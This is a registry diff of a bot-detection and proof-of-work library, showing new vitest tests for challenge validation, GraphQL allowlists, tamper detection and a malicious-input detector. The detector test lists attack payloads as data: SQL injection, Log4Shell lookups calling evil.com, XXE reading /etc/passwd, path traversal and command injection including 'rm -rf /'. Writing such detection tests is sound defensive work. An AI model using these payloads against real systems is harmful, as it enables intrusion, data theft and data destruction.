@anonympins/fingerprint 0.3.8 → 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +331 -256
- package/README.md +62 -53
- package/composer.json +38 -38
- package/index.js +4 -4
- package/package.json +103 -103
- package/phpunit.xml +20 -20
- package/public/fp.js +1 -1
- package/public/fp.wasm +0 -0
- package/src/js/build-client.js +1 -1
- package/src/js/fingerprint.client.js +2 -0
- package/src/js/fingerprint.js +4429 -4381
- package/src/js/mongodb-store.js +79 -79
- package/src/js/pow.solver.inline.js +31 -0
- package/src/js/pow.solver.js +31 -0
- package/src/js/tests/fingerprint.builder.test.js +79 -0
- package/src/js/tests/fingerprint.client.init.test.js +120 -0
- package/src/js/tests/fingerprint.client.test.js +105 -0
- package/src/js/tests/fingerprint.engine.test.js +371 -0
- package/src/js/tests/fingerprint.isMalicious.test.js +117 -0
- package/src/js/tests/fingerprint.test.js +2319 -0
- package/src/js/tests/ip-reputation.test.js +132 -0
- package/src/js/tests/ja3AnomalyDetector.test.js +135 -0
- package/src/js/tests/library.test.js +96 -0
- package/src/js/tests/metrics.test.js +104 -0
- package/src/js/tests/pow.solver.test.js +198 -0
- package/src/js/tests/problem-manager.test.js +323 -0
- package/src/js/tests/stores.test.js +118 -0
- package/src/php/Challenge/ChallengeUtils.php +361 -361
- package/src/php/Config/SecurityProfiles.php +271 -266
- package/src/php/FingerprintBuilder.php +185 -185
- package/src/php/FingerprintClient.php +131 -131
- package/src/php/FingerprintEngine.php +1006 -1006
- package/src/php/Ja3AnomalyDetector.php +227 -227
- package/src/php/Optimization/FunctionRegistry.php +62 -62
- package/src/php/Optimization/Optimization.php +255 -255
- package/src/php/Optimization/OptimizationOperators.php +304 -304
- package/src/php/Store/InMemoryStore.php +66 -66
- package/src/php/Store/MongoDbStore.php +104 -104
- package/src/php/Store/RedisStore.php +53 -53
- package/src/php/Tests/ChallengeUtilsTest.php +81 -81
- package/src/php/Tests/FingerprintBuilderTest.php +57 -57
- package/src/php/Tests/FingerprintClientTest.php +71 -0
- package/src/php/Tests/FingerprintEngineTest.php +299 -299
- package/src/php/Tests/IpReputationTest.php +156 -156
- package/src/php/Tests/Ja3AnomalyDetectorTest.php +179 -179
- package/src/php/Tests/MetricsTest.php +45 -45
- package/src/php/Tests/PowTest.php +39 -39
- package/src/php/Tests/ProblemManagerTest.php +296 -296
- package/src/php/Tests/RequestUtilsTest.php +253 -145
- package/src/php/Tests/TLSClientHelloParserTest.php +118 -0
- package/src/php/Tests/problems.config.json +8 -8
- package/src/php/Utils/BigInt.php +144 -144
- package/src/php/Utils/Logger.php +29 -29
- package/src/php/Utils/MaliciousPatterns.php +58 -58
- package/src/php/Utils/MetricsManager.php +166 -166
- package/src/php/Utils/RequestUtils.php +1169 -1169
- package/src/php/Utils/TLSClientHelloParser.php +117 -0
- package/src/php/bin/auto-tune.php +117 -117
|
@@ -0,0 +1,371 @@
|
|
|
1
|
+
import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
|
|
2
|
+
import * as fingerprint from '../fingerprint.js';
|
|
3
|
+
import {solveCpuTargetInline, solveMemory} from '../pow.solver.js';
|
|
4
|
+
|
|
5
|
+
// Mock the internal store to be a simple in-memory map for testing
|
|
6
|
+
const inMemoryStore = {
|
|
7
|
+
_map: new Map(),
|
|
8
|
+
async get(key) { return this._map.get(key); },
|
|
9
|
+
async set(key, value, ttl) { this._map.set(key, value); },
|
|
10
|
+
async has(key) { return this._map.has(key); },
|
|
11
|
+
async delete(key) { this._map.delete(key); },
|
|
12
|
+
clear() { this._map.clear(); }
|
|
13
|
+
};
|
|
14
|
+
|
|
15
|
+
vi.mock('../src/js/fingerprint.js', async (importOriginal) => {
|
|
16
|
+
const original = await importOriginal();
|
|
17
|
+
return {
|
|
18
|
+
...original,
|
|
19
|
+
getCompositeDeviceHash: vi.fn().mockImplementation((context) => context.headers['x-device-fingerprint'] || 'default-fingerprint'),
|
|
20
|
+
__internal: { ...original.__internal, getCompositeDeviceHash: vi.fn().mockImplementation((context) => context.headers['x-device-fingerprint'] || 'default-fingerprint') }
|
|
21
|
+
};
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
describe('FingerprintEngine Challenge Validation', () => {
|
|
25
|
+
let engine;
|
|
26
|
+
const securityConfig = {
|
|
27
|
+
weights: {
|
|
28
|
+
historyScore: 0,
|
|
29
|
+
rotationScore: 0,
|
|
30
|
+
headerAnomalyScore: 0.2,
|
|
31
|
+
inconsistencyScore: 0,
|
|
32
|
+
honeypotScore: 1,
|
|
33
|
+
requestPatternScore: 0,
|
|
34
|
+
maliciousContentScore: 1
|
|
35
|
+
},
|
|
36
|
+
thresholds: { low: 15, medium: 40, high: 75, block: 95 },
|
|
37
|
+
challengeTtl: 300,
|
|
38
|
+
verbose: false,
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
beforeEach(() => {
|
|
42
|
+
// Configure the engine to use our mock store before each test
|
|
43
|
+
fingerprint.configureStore(inMemoryStore);
|
|
44
|
+
inMemoryStore.clear();
|
|
45
|
+
// Mock getTlsFingerprint to prevent destructuring errors in tests
|
|
46
|
+
// where clientHello is not relevant.
|
|
47
|
+
vi.spyOn(fingerprint.__internal, 'getTlsFingerprint').mockReturnValue({
|
|
48
|
+
ja3: 'mock-ja3', ja4: 'mock-ja4'
|
|
49
|
+
});
|
|
50
|
+
engine = new fingerprint.FingerprintEngine(securityConfig);
|
|
51
|
+
});
|
|
52
|
+
|
|
53
|
+
afterEach(() => {
|
|
54
|
+
vi.restoreAllMocks();
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
it('should validate a correct challenge solution with a matching fingerprint', async () => {
|
|
58
|
+
// --- 1. First request: A suspicious user gets a challenge ---
|
|
59
|
+
const originalRequestContext = {
|
|
60
|
+
clientIp: '127.0.0.1',
|
|
61
|
+
path: '/sensitive-data',
|
|
62
|
+
cookies: {},
|
|
63
|
+
query: {},
|
|
64
|
+
headers: {
|
|
65
|
+
'user-agent': 'A-Legit-Browser/1.0',
|
|
66
|
+
'x-device-fingerprint': 'fingerprint-A' // The fingerprint of the original machine
|
|
67
|
+
},
|
|
68
|
+
isStatic: false,
|
|
69
|
+
rawReq: { headers: { accept: 'text/html' } }
|
|
70
|
+
};
|
|
71
|
+
|
|
72
|
+
// Force a high score to trigger a challenge
|
|
73
|
+
vi.spyOn(engine, 'calculateFinalScore').mockReturnValueOnce(20);
|
|
74
|
+
|
|
75
|
+
const challengeDecision = await engine.processRequest(originalRequestContext);
|
|
76
|
+
|
|
77
|
+
expect(challengeDecision.action).toBe('challenge');
|
|
78
|
+
expect(challengeDecision.status).toBe(404);
|
|
79
|
+
|
|
80
|
+
// Extract challenge details from the HTML body (simplified parsing)
|
|
81
|
+
const body = challengeDecision.body;
|
|
82
|
+
const nonce = body.match(/const nonce = "(.*?)"/)[1];
|
|
83
|
+
const cpuTarget = body.match(/const cpuTarget = BigInt\("0x" \+ "([0-9a-fA-F]+)"\)/)[1];
|
|
84
|
+
const memDifficulty = parseInt(body.match(/const memDifficulty = (\d+)/)[1], 10);
|
|
85
|
+
|
|
86
|
+
// Check that the challenge context was stored correctly
|
|
87
|
+
const challengeContext = await inMemoryStore.get(`secret:${nonce}`);
|
|
88
|
+
expect(challengeContext).toBeDefined();
|
|
89
|
+
expect(challengeContext.fingerprint).toBe('fingerprint-A');
|
|
90
|
+
|
|
91
|
+
// --- 2. Second request: The user submits the solved challenge ---
|
|
92
|
+
|
|
93
|
+
// The client solves the challenge
|
|
94
|
+
// --- FIX: Simulate the client creating the baseBlock for the solver ---
|
|
95
|
+
const messageBase = `${nonce}:${challengeContext.clientSecret}:fingerprint-A:`;
|
|
96
|
+
const baseBlock = new TextEncoder().encode(messageBase);
|
|
97
|
+
|
|
98
|
+
const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTarget, null);
|
|
99
|
+
// The memory challenge seed does not include the fingerprint.
|
|
100
|
+
const memSeed = `${nonce}:${challengeContext.clientSecret}`;
|
|
101
|
+
const memSolution = await solveMemory(memSeed, memDifficulty);
|
|
102
|
+
|
|
103
|
+
const submissionRequestContext = {
|
|
104
|
+
clientIp: '127.0.0.1',
|
|
105
|
+
path: '/sensitive-data',
|
|
106
|
+
cookies: {},
|
|
107
|
+
query: {
|
|
108
|
+
pow_type: 'cpu_mem',
|
|
109
|
+
pow_nonce: nonce,
|
|
110
|
+
pow_solution_cpu: String(cpuSolution),
|
|
111
|
+
pow_solution_mem: String(memSolution),
|
|
112
|
+
pow_fp: 'fingerprint-A' // The client correctly submits its fingerprint
|
|
113
|
+
},
|
|
114
|
+
headers: {
|
|
115
|
+
'user-agent': 'A-Legit-Browser/1.0',
|
|
116
|
+
'x-device-fingerprint': 'fingerprint-A' // The headers still match
|
|
117
|
+
},
|
|
118
|
+
isStatic: false,
|
|
119
|
+
rawReq: { headers: { accept: 'text/html' } }
|
|
120
|
+
};
|
|
121
|
+
|
|
122
|
+
const validationDecision = await engine.processRequest(submissionRequestContext);
|
|
123
|
+
|
|
124
|
+
// Assert: The solution is valid, so we expect a redirect with a clearance cookie
|
|
125
|
+
expect(validationDecision.action).toBe('redirect');
|
|
126
|
+
expect(validationDecision.path).toBe('/sensitive-data');
|
|
127
|
+
expect(validationDecision.cookie.name).toBe('pow_clearance');
|
|
128
|
+
expect(validationDecision.cookie.value).toBeDefined();
|
|
129
|
+
|
|
130
|
+
// Assert: The challenge secret is deleted from the store
|
|
131
|
+
expect(await inMemoryStore.has(`secret:${nonce}`)).toBe(false);
|
|
132
|
+
}, 20000);
|
|
133
|
+
|
|
134
|
+
it('should reject a challenge solution with a mismatched fingerprint', async () => {
|
|
135
|
+
// --- 1. First request: Challenge is issued to "Machine A" ---
|
|
136
|
+
const originalRequestContext = {
|
|
137
|
+
clientIp: '127.0.0.1',
|
|
138
|
+
path: '/sensitive-data',
|
|
139
|
+
cookies: {},
|
|
140
|
+
query: {},
|
|
141
|
+
headers: { 'x-device-fingerprint': 'fingerprint-A' }, // Machine A
|
|
142
|
+
isStatic: false,
|
|
143
|
+
rawReq: { headers: { accept: 'text/html' } }
|
|
144
|
+
};
|
|
145
|
+
vi.spyOn(engine, 'calculateFinalScore').mockReturnValueOnce(20);
|
|
146
|
+
const challengeDecision = await engine.processRequest(originalRequestContext);
|
|
147
|
+
const body = challengeDecision.body;
|
|
148
|
+
const nonce = body.match(/const nonce = "(.*?)"/)[1];
|
|
149
|
+
const cpuTarget = body.match(/const cpuTarget = BigInt\("0x" \+ "([0-9a-fA-F]+)"\)/)[1];
|
|
150
|
+
const memDifficulty = parseInt(body.match(/const memDifficulty = (\d+)/)[1], 10);
|
|
151
|
+
const challengeContext = await inMemoryStore.get(`secret:${nonce}`);
|
|
152
|
+
|
|
153
|
+
// --- 2. Second request: Solution is submitted from "Machine B" ---
|
|
154
|
+
// --- FIX: Simulate the client creating the baseBlock for the solver ---
|
|
155
|
+
// The solver uses the fingerprint of the machine it's running on.
|
|
156
|
+
const messageBase = `${nonce}:${challengeContext.clientSecret}:fingerprint-B:`;
|
|
157
|
+
const baseBlock = new TextEncoder().encode(messageBase);
|
|
158
|
+
|
|
159
|
+
const cpuSolution = await solveCpuTargetInline(baseBlock, cpuTarget, null);
|
|
160
|
+
const memSeed = `${nonce}:${challengeContext.clientSecret}`;
|
|
161
|
+
const memSolution = await solveMemory(memSeed, memDifficulty);
|
|
162
|
+
|
|
163
|
+
const submissionRequestContext = {
|
|
164
|
+
clientIp: '127.0.0.1',
|
|
165
|
+
path: '/sensitive-data',
|
|
166
|
+
cookies: {},
|
|
167
|
+
query: {
|
|
168
|
+
pow_type: 'cpu_mem',
|
|
169
|
+
pow_nonce: nonce,
|
|
170
|
+
pow_solution_cpu: String(cpuSolution),
|
|
171
|
+
pow_solution_mem: String(memSolution),
|
|
172
|
+
pow_fp: 'fingerprint-B' // <-- MISMATCH! Solved on a different machine.
|
|
173
|
+
},
|
|
174
|
+
headers: { 'x-device-fingerprint': 'fingerprint-B' }, // Machine B
|
|
175
|
+
isStatic: false,
|
|
176
|
+
rawReq: { headers: { accept: 'text/html' } }
|
|
177
|
+
};
|
|
178
|
+
|
|
179
|
+
const validationDecision = await engine.processRequest(submissionRequestContext);
|
|
180
|
+
|
|
181
|
+
// Assert: The solution is invalid due to fingerprint mismatch.
|
|
182
|
+
// The score should be recalculated with a high honeypotScore.
|
|
183
|
+
// Depending on the final score, the user is either blocked or re-challenged.
|
|
184
|
+
// Here, we expect a block because honeypotScore has a weight of 1.0.
|
|
185
|
+
expect(validationDecision.action).toBe('block');
|
|
186
|
+
expect(validationDecision.score).toBeGreaterThanOrEqual(95);
|
|
187
|
+
expect(validationDecision.vector.honeypotScore).toBe(100);
|
|
188
|
+
|
|
189
|
+
// Assert: The challenge secret is NOT deleted, as the challenge failed.
|
|
190
|
+
// The logic will re-challenge, but the test shows the invalidation path.
|
|
191
|
+
// Note: In the actual implementation, the flow continues and might issue a new challenge,
|
|
192
|
+
// but the key is that the `redirect` action was not taken.
|
|
193
|
+
}, 20000);
|
|
194
|
+
});
|
|
195
|
+
|
|
196
|
+
describe('FingerprintEngine GraphQL Support', () => {
|
|
197
|
+
let engine;
|
|
198
|
+
const {FingerprintEngine} = fingerprint;
|
|
199
|
+
const graphqlSecurityConfig = {
|
|
200
|
+
weights: {honeypotScore: 1.0},
|
|
201
|
+
thresholds: {low: 10, medium: 40, high: 75, block: 95},
|
|
202
|
+
whitelist: [
|
|
203
|
+
{
|
|
204
|
+
type: 'graphql_operation_allowlist',
|
|
205
|
+
entries: [
|
|
206
|
+
'query:GetPublicData',
|
|
207
|
+
'mutation:UpdateUser',
|
|
208
|
+
'query:Search*',
|
|
209
|
+
'mutation:*'
|
|
210
|
+
]
|
|
211
|
+
}
|
|
212
|
+
]
|
|
213
|
+
};
|
|
214
|
+
beforeEach(() => {
|
|
215
|
+
fingerprint.configureStore(inMemoryStore);
|
|
216
|
+
inMemoryStore.clear();
|
|
217
|
+
engine = new FingerprintEngine(graphqlSecurityConfig);
|
|
218
|
+
});
|
|
219
|
+
afterEach(() => {
|
|
220
|
+
vi.restoreAllMocks();
|
|
221
|
+
});
|
|
222
|
+
|
|
223
|
+
const createGqlContext = (operationType, operationName) => ({
|
|
224
|
+
clientIp: '127.0.0.1',
|
|
225
|
+
path: '/graphql',
|
|
226
|
+
cookies: {},
|
|
227
|
+
query: {},
|
|
228
|
+
headers: { 'user-agent': 'test' },
|
|
229
|
+
isStatic: false,
|
|
230
|
+
graphqlOperationType: operationType,
|
|
231
|
+
graphqlOperationName: operationName,
|
|
232
|
+
});
|
|
233
|
+
|
|
234
|
+
it('should allow a specifically whitelisted GraphQL query', async () => {
|
|
235
|
+
const context = createGqlContext('query', 'GetPublicData');
|
|
236
|
+
const decision = await engine.processRequest(context);
|
|
237
|
+
expect(decision.action).toBe('next');
|
|
238
|
+
expect(decision.vector.whitelisted).toBe(100);
|
|
239
|
+
expect(decision.vector.type).toBe('graphql_operation_allowlist');
|
|
240
|
+
});
|
|
241
|
+
|
|
242
|
+
it('should allow any mutation due to wildcard whitelisting', async () => {
|
|
243
|
+
const context = createGqlContext('mutation', 'CreateNewThing');
|
|
244
|
+
const decision = await engine.processRequest(context);
|
|
245
|
+
expect(decision.action).toBe('next');
|
|
246
|
+
expect(decision.vector.whitelisted).toBe(100);
|
|
247
|
+
});
|
|
248
|
+
|
|
249
|
+
it('should protect a GraphQL query that is not in the allowlist', async () => {
|
|
250
|
+
vi.spyOn(engine, 'calculateFinalScore').mockReturnValue(100);
|
|
251
|
+
const context = createGqlContext('query', 'GetSensitiveAdminData');
|
|
252
|
+
const decision = await engine.processRequest(context);
|
|
253
|
+
expect(decision.action).toBe('block');
|
|
254
|
+
expect(decision.vector.whitelisted).toBeUndefined();
|
|
255
|
+
});
|
|
256
|
+
|
|
257
|
+
it('should protect an anonymous query if not explicitly allowed', async () => {
|
|
258
|
+
vi.spyOn(engine, 'calculateFinalScore').mockReturnValue(100);
|
|
259
|
+
const context = createGqlContext('query', 'Anonymous');
|
|
260
|
+
const decision = await engine.processRequest(context);
|
|
261
|
+
expect(decision.action).toBe('block');
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
it('should allow an anonymous query if "query:Anonymous" is in the allowlist', async () => {
|
|
265
|
+
const configWithAnonymous = {
|
|
266
|
+
...graphqlSecurityConfig,
|
|
267
|
+
whitelist: [
|
|
268
|
+
{
|
|
269
|
+
type: 'graphql_operation_allowlist',
|
|
270
|
+
entries: ['query:Anonymous', 'mutation:*']
|
|
271
|
+
}
|
|
272
|
+
]
|
|
273
|
+
};
|
|
274
|
+
const specificEngine = new FingerprintEngine(configWithAnonymous);
|
|
275
|
+
const context = createGqlContext('query', 'Anonymous');
|
|
276
|
+
const decision = await specificEngine.processRequest(context);
|
|
277
|
+
expect(decision.action).toBe('next');
|
|
278
|
+
expect(decision.vector.type).toBe('graphql_operation_allowlist');
|
|
279
|
+
});
|
|
280
|
+
|
|
281
|
+
it('should allow a GraphQL query matching a wildcard name', async () => {
|
|
282
|
+
const context = createGqlContext('query', 'SearchPosts');
|
|
283
|
+
const decision = await engine.processRequest(context);
|
|
284
|
+
expect(decision.action).toBe('next');
|
|
285
|
+
expect(decision.vector.type).toBe('graphql_operation_allowlist');
|
|
286
|
+
});
|
|
287
|
+
});
|
|
288
|
+
|
|
289
|
+
|
|
290
|
+
describe("Node.js Storage Security & Signature Verification", () => {
|
|
291
|
+
test("Should reject challenge and apply max penalty when context storage is tampered with", async () => {
|
|
292
|
+
// 1. Initialiser un store en mémoire simulé pour le test
|
|
293
|
+
const mockStore = {
|
|
294
|
+
_data: {},
|
|
295
|
+
async get(key) { return this._data[key]; },
|
|
296
|
+
async set(key, val) { this._data[key] = val; },
|
|
297
|
+
async has(key) { return !!this._data[key]; },
|
|
298
|
+
async delete(key) { delete this._data[key]; }
|
|
299
|
+
};
|
|
300
|
+
fingerprint.configureStore(mockStore);
|
|
301
|
+
|
|
302
|
+
// Configuration de test
|
|
303
|
+
const securityConfig = {
|
|
304
|
+
weights: { historyScore: 0.3, rotationScore: 0.5, headerAnomalyScore: 1.0, inconsistencyScore: 0.8, honeypotScore: 1.0 },
|
|
305
|
+
thresholds: { low: 20, medium: 45, high: 75, block: 95 },
|
|
306
|
+
challengeTtl: 300,
|
|
307
|
+
verbose: false
|
|
308
|
+
};
|
|
309
|
+
process.env.POW_SECRET = "super-secret-key-32-characters-long-for-test";
|
|
310
|
+
|
|
311
|
+
const engine = new fingerprint.FingerprintEngine(securityConfig);
|
|
312
|
+
const clientIp = "203.0.113.88";
|
|
313
|
+
|
|
314
|
+
// 2. Simuler une requête suspecte (pas de User-Agent) pour forcer un challenge
|
|
315
|
+
const requestContext = {
|
|
316
|
+
clientIp,
|
|
317
|
+
path: "/login",
|
|
318
|
+
headers: {}, // Provoque l'anomalie d'en-tête
|
|
319
|
+
query: {},
|
|
320
|
+
cookies: {}
|
|
321
|
+
};
|
|
322
|
+
|
|
323
|
+
const decision = await engine.processRequest(requestContext);
|
|
324
|
+
assert.strictEqual(decision.action, "challenge", "L'IP suspecte doit obtenir un challenge.");
|
|
325
|
+
|
|
326
|
+
// Récupérer le nonce généré depuis le mockStore
|
|
327
|
+
const storeKeys = Object.keys(mockStore._data);
|
|
328
|
+
const secretKey = storeKeys.find(k => k.startsWith("secret:"));
|
|
329
|
+
assert.ok(secretKey, "Le contexte du challenge doit être stocké.");
|
|
330
|
+
|
|
331
|
+
const originalContext = mockStore._data[secretKey];
|
|
332
|
+
assert.ok(originalContext.signature, "Le contexte doit posséder une signature cryptographique.");
|
|
333
|
+
|
|
334
|
+
const nonce = secretKey.split(":")[1];
|
|
335
|
+
|
|
336
|
+
// 3. SCÉNARIO DE TAMPERING : On modifie manuellement le cpuTarget dans le Store
|
|
337
|
+
// sans pouvoir mettre à jour la signature (car la clé secrète globale est inconnue de l'attaquant).
|
|
338
|
+
originalContext.cpuTarget = "00000000000000ff"; // On baisse artificiellement la difficulté
|
|
339
|
+
mockStore._data[secretKey] = originalContext;
|
|
340
|
+
|
|
341
|
+
// Tentative de soumission d'une solution pour ce challenge altéré
|
|
342
|
+
const tamperedSubmitContext = {
|
|
343
|
+
clientIp,
|
|
344
|
+
path: "/login",
|
|
345
|
+
headers: { "user-agent": "Mozilla/5.0" },
|
|
346
|
+
query: {
|
|
347
|
+
pow_type: "cpu_target",
|
|
348
|
+
pow_nonce: nonce,
|
|
349
|
+
pow_solution: "123456" // Solution fictive
|
|
350
|
+
},
|
|
351
|
+
cookies: {}
|
|
352
|
+
};
|
|
353
|
+
|
|
354
|
+
const tamperedDecision = await engine.processRequest(tamperedSubmitContext);
|
|
355
|
+
|
|
356
|
+
// Le système doit avoir détecté l'altération de la signature,
|
|
357
|
+
// invalidé le contexte du challenge (null) et appliqué la pénalité maximale.
|
|
358
|
+
assert.strictEqual(
|
|
359
|
+
tamperedDecision.score,
|
|
360
|
+
100,
|
|
361
|
+
"Le score de suspicion doit passer à 100 suite à la détection d'altération."
|
|
362
|
+
);
|
|
363
|
+
|
|
364
|
+
// Si le score est passé à 100 (au-dessus du seuil de blocage de 95), l'action doit être d'interdire l'accès.
|
|
365
|
+
assert.strictEqual(
|
|
366
|
+
tamperedDecision.action,
|
|
367
|
+
"block",
|
|
368
|
+
"La requête doit être bloquée immédiatement."
|
|
369
|
+
);
|
|
370
|
+
});
|
|
371
|
+
});
|
|
@@ -0,0 +1,117 @@
|
|
|
1
|
+
import {describe, expect, it} from 'vitest';
|
|
2
|
+
import {isMalicious} from '../fingerprint.js';
|
|
3
|
+
|
|
4
|
+
// We import the function directly to test it in isolation, avoiding vite:define errors.
|
|
5
|
+
|
|
6
|
+
describe('isMalicious Unit Tests', () => {
|
|
7
|
+
|
|
8
|
+
describe('SQL and NoSQL Injections', () => {
|
|
9
|
+
it.each([
|
|
10
|
+
["' OR '1'='1'"],
|
|
11
|
+
["' or '1'='1' --"],
|
|
12
|
+
["UNION SELECT username, password FROM users"],
|
|
13
|
+
["; DROP TABLE products;--"],
|
|
14
|
+
["SLEEP(5)"],
|
|
15
|
+
["BENCHMARK(10000,MD5('a'))"],
|
|
16
|
+
["WAITFOR DELAY '0:0:5'"],
|
|
17
|
+
['{"$ne": null}'],
|
|
18
|
+
])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
|
|
19
|
+
expect(isMalicious(payload)).toBe(true);
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
it.each([
|
|
23
|
+
["A normal comment -- for a blog post."],
|
|
24
|
+
["Please select your union representative."],
|
|
25
|
+
["The price is not equal to $10."],
|
|
26
|
+
["My favorite song is 'Stairway to Heaven'."],
|
|
27
|
+
])('should NOT detect legitimate string: %s', (payload) => {
|
|
28
|
+
expect(isMalicious(payload)).toBe(false);
|
|
29
|
+
});
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
describe('Log4Shell (JNDI Injection)', () => {
|
|
33
|
+
it.each([
|
|
34
|
+
["${jndi:ldap://evil.com/a}"],
|
|
35
|
+
["${jndi:rmi://evil.com/a}"],
|
|
36
|
+
["${jndi:dns://evil.com/a}"],
|
|
37
|
+
["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
|
|
38
|
+
])('should detect Log4Shell pattern: %s', (payload) => {
|
|
39
|
+
expect(isMalicious(payload)).toBe(true);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it.each([
|
|
43
|
+
["The variable is ${user.name}"],
|
|
44
|
+
["This is a normal log message."],
|
|
45
|
+
])('should NOT detect legitimate log message: %s', (payload) => {
|
|
46
|
+
expect(isMalicious(payload)).toBe(false);
|
|
47
|
+
});
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
describe('Server-Side Template Injection (SSTI)', () => {
|
|
51
|
+
it.each([
|
|
52
|
+
["{{ 7*7 }}"],
|
|
53
|
+
["{% if user.isAdmin %}{% endif %}"],
|
|
54
|
+
["Hello {{user.name}}"], // Potentially risky
|
|
55
|
+
])('should detect SSTI pattern: %s', (payload) => {
|
|
56
|
+
expect(isMalicious(payload)).toBe(true);
|
|
57
|
+
});
|
|
58
|
+
|
|
59
|
+
it.each([
|
|
60
|
+
["A normal string with {curly braces}"],
|
|
61
|
+
["(100%)"],
|
|
62
|
+
])('should NOT detect legitimate string with braces: %s', (payload) => {
|
|
63
|
+
expect(isMalicious(payload)).toBe(false);
|
|
64
|
+
});
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
describe('XML External Entity (XXE)', () => {
|
|
68
|
+
it.each([
|
|
69
|
+
['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
|
|
70
|
+
['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
|
|
71
|
+
])('should detect XXE pattern: %s', (payload) => {
|
|
72
|
+
expect(isMalicious(payload)).toBe(true);
|
|
73
|
+
});
|
|
74
|
+
|
|
75
|
+
it.each([
|
|
76
|
+
["<!DOCTYPE html>"],
|
|
77
|
+
["<note><to>Tove</to></note>"],
|
|
78
|
+
])('should NOT detect legitimate XML/HTML: %s', (payload) => {
|
|
79
|
+
expect(isMalicious(payload)).toBe(false);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
82
|
+
|
|
83
|
+
describe('Path Traversal', () => {
|
|
84
|
+
it.each([
|
|
85
|
+
["../../../../etc/passwd"],
|
|
86
|
+
["..\\..\\..\\..\\windows\\system32\\config.sam"],
|
|
87
|
+
])('should detect Path Traversal pattern: %s', (payload) => {
|
|
88
|
+
expect(isMalicious(payload)).toBe(true);
|
|
89
|
+
});
|
|
90
|
+
|
|
91
|
+
it.each([
|
|
92
|
+
["path/to/a/legitimate/file.txt"],
|
|
93
|
+
["Just two dots.. not a traversal."],
|
|
94
|
+
])('should NOT detect legitimate path: %s', (payload) => {
|
|
95
|
+
expect(isMalicious(payload)).toBe(false);
|
|
96
|
+
});
|
|
97
|
+
});
|
|
98
|
+
|
|
99
|
+
describe('Command Injection', () => {
|
|
100
|
+
it.each([
|
|
101
|
+
["/path/to/script.sh; ls -la "],
|
|
102
|
+
["127.0.0.1 && whoami "],
|
|
103
|
+
["`reboot`"],
|
|
104
|
+
["filename.txt\ncat /etc/passwd "],
|
|
105
|
+
[" | rm -rf /"], // Pipe before a dangerous command
|
|
106
|
+
])('should detect Command Injection pattern: %s', (payload) => {
|
|
107
|
+
expect(isMalicious(payload)).toBe(true);
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it.each([
|
|
111
|
+
["A normal command like ls -la /tmp"],
|
|
112
|
+
["Use the pipe | for output redirection."],
|
|
113
|
+
])('should NOT detect legitimate command-like string: %s', (payload) => {
|
|
114
|
+
expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
|
|
115
|
+
});
|
|
116
|
+
});
|
|
117
|
+
});
|